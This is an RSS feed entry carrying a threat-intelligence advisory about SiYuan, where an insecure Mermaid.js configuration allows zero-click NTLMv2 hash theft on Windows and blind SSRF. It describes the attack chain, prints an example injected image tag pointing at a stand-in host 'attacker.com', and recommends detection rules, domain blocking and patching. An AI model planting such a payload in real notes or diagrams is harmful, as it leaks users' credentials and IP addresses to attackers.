<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Mermaid — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/tags/mermaid/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Sat, 11 Apr 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/tags/mermaid/feed.xml" rel="self" type="application/rss+xml"/><item><title>SiYuan Zero-Click NTLM Theft and Blind SSRF via Mermaid Diagrams</title><link>https://feed.craftedsignal.io/briefs/2026-04-siyuan-ntlm-ssrf/</link><pubDate>Sat, 11 Apr 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-siyuan-ntlm-ssrf/</guid><description>SiYuan is vulnerable to zero-click NTLM hash theft on Windows and blind SSRF on all platforms due to insecure Mermaid.js configuration, where a malicious Mermaid diagram containing a protocol-relative URL can be injected into a note, causing the Electron client to fetch the URL, triggering SMB authentication on Windows and sending the victim's NTLMv2 hash to the attacker. On macOS and Linux, the request acts as a tracking pixel and blind SSRF.</description><content:encoded><![CDATA[<p>SiYuan, a note-taking application, is vulnerable to a zero-click NTLM hash theft and blind SSRF exploit due to insecure configuration of Mermaid.js. The application configures Mermaid.js with <code>securityLevel: &quot;loose&quot;</code> and <code>htmlLabels: true</code>, which allows <code>&lt;img&gt;</code> tags with <code>src</code> attributes to bypass sanitization and be injected into SVG <code>&lt;foreignObject&gt;</code> blocks. When a user opens a note containing a malicious Mermaid diagram with a protocol-relative URL (e.g., <code>//attacker.com/image.png</code>), the Electron client fetches the URL. On Windows, this resolves as a UNC path, triggering SMB authentication and sending the victim&rsquo;s NTLMv2 hash to the attacker. On macOS and Linux, the same diagram triggers an HTTP request to the attacker&rsquo;s server, exfiltrating the victim&rsquo;s IP address. The vulnerability affects SiYuan versions prior to the fix implemented after April 7, 2026. This allows for credential theft without any user interaction beyond opening a note.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker crafts a malicious SiYuan note containing a Mermaid diagram with a protocol-relative URL within an <code>&lt;img&gt;</code> tag, such as <code>&lt;img src='//attacker.com/share/img.png'&gt;</code>.</li>
<li>The attacker distributes the malicious note (e.g., via sharing or a crafted .sy export).</li>
<li>The victim opens the note in SiYuan.</li>
<li>SiYuan renders the Mermaid diagram using the insecure Mermaid.js configuration.</li>
<li>The SVG containing the malicious <code>&lt;img&gt;</code> tag is injected into the DOM via <code>innerHTML</code>.</li>
<li>The Electron client attempts to fetch the resource at the protocol-relative URL.</li>
<li>On Windows, the protocol-relative URL resolves to a UNC path (<code>\\attacker.com\share\img.png</code>), initiating an SMB connection.</li>
<li>Windows automatically sends the victim&rsquo;s NTLMv2 hash to the attacker&rsquo;s SMB server, or makes an HTTP request leaking victim&rsquo;s IP on other platforms.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for zero-click NTLMv2 hash theft on Windows systems, where the victim only needs to open a note containing the malicious Mermaid diagram. The stolen NTLMv2 hashes can be cracked offline or used in relay attacks to gain unauthorized access to the victim&rsquo;s resources. On all platforms, this vulnerability can be exploited to perform blind SSRF and leak the victim&rsquo;s IP address, acting as a tracking pixel to confirm when the note was opened. This affects all SiYuan users who receive a crafted note.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Detect SiYuan Mermaid NTLM Theft Attempt</code> to identify SMB traffic originating from SiYuan processes attempting to connect to external IPs (network_connection log source).</li>
<li>Deploy the Sigma rule <code>Detect SiYuan Mermaid SSRF Attempt</code> to detect HTTP requests from SiYuan to external IP addresses with a suspicious URL (network_connection log source).</li>
<li>Monitor network traffic for SMB connections originating from SiYuan, especially to unusual or external destinations (network_connection log source).</li>
<li>Block the attacker&rsquo;s domain (<code>attacker.com</code>) at the DNS resolver, as observed in the malicious Mermaid diagram example (iocs).</li>
<li>Upgrade SiYuan to a patched version that addresses CVE-2026-40107 to mitigate the underlying vulnerability.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>siyuan</category><category>ntlm</category><category>ssrf</category><category>credential-theft</category><category>mermaid</category></item></channel></rss>